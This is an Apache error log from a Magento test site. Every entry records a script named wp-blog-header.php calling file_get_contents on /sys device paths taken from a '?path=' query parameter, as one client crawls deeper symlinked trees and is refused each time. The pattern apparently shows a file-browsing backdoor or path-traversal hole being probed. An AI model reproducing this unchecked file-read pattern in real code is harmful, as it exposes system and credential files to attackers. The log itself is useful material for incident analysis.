[Thu Mar 26 14:57:54.592781 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ce
[Thu Mar 26 14:57:55.144606 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ce
[Thu Mar 26 14:57:56.138501 2026] [php:warn] [pid 3106757] [client 74.7.241.26:46320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ea
[Thu Mar 26 14:57:57.381329 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ac
[Thu Mar 26 14:57:58.990047 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ac
[Thu Mar 26 14:58:00.569944 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 14:58:02.171406 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:fe
[Thu Mar 26 14:58:04.805450 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cc
[Thu Mar 26 14:58:05.893787 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem
[Thu Mar 26 14:58:08.164580 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:be
[Thu Mar 26 14:58:09.800110 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:fa
[Thu Mar 26 14:58:15.003299 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:fc
[Thu Mar 26 14:58:17.570866 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ac
[Thu Mar 26 14:58:19.692615 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 14:58:27.179570 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ae
[Thu Mar 26 14:58:30.915014 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fc
[Thu Mar 26 14:58:33.003663 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:cc
[Thu Mar 26 14:58:33.563205 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 14:58:35.207361 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:fa
[Thu Mar 26 14:58:36.819698 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ec
[Thu Mar 26 14:58:38.603128 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:cc
[Thu Mar 26 14:58:39.174158 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ec
[Thu Mar 26 14:58:41.823852 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:dc
[Thu Mar 26 14:58:42.367397 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ba
[Thu Mar 26 14:58:46.052667 2026] [php:warn] [pid 3106405] [client 74.7.241.26:35140] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:aa
[Thu Mar 26 14:58:53.623506 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:da
[Thu Mar 26 14:58:54.217906 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ca
[Thu Mar 26 14:58:55.228058 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ee
[Thu Mar 26 14:58:57.330663 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:dc
[Thu Mar 26 14:59:02.127228 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ec
[Thu Mar 26 14:59:03.180374 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem
[Thu Mar 26 14:59:08.628327 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ee
[Thu Mar 26 14:59:09.147699 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ec
[Thu Mar 26 14:59:12.315448 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:fa
[Thu Mar 26 14:59:13.982021 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:bc
[Thu Mar 26 14:59:15.146252 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba
[Thu Mar 26 14:59:15.725990 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:cc
[Thu Mar 26 14:59:16.969398 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:fe
[Thu Mar 26 14:59:25.231024 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ac
[Thu Mar 26 14:59:27.981475 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 14:59:30.026255 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 14:59:31.724629 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ea
[Thu Mar 26 14:59:32.236293 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ce
[Thu Mar 26 14:59:32.706831 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ec
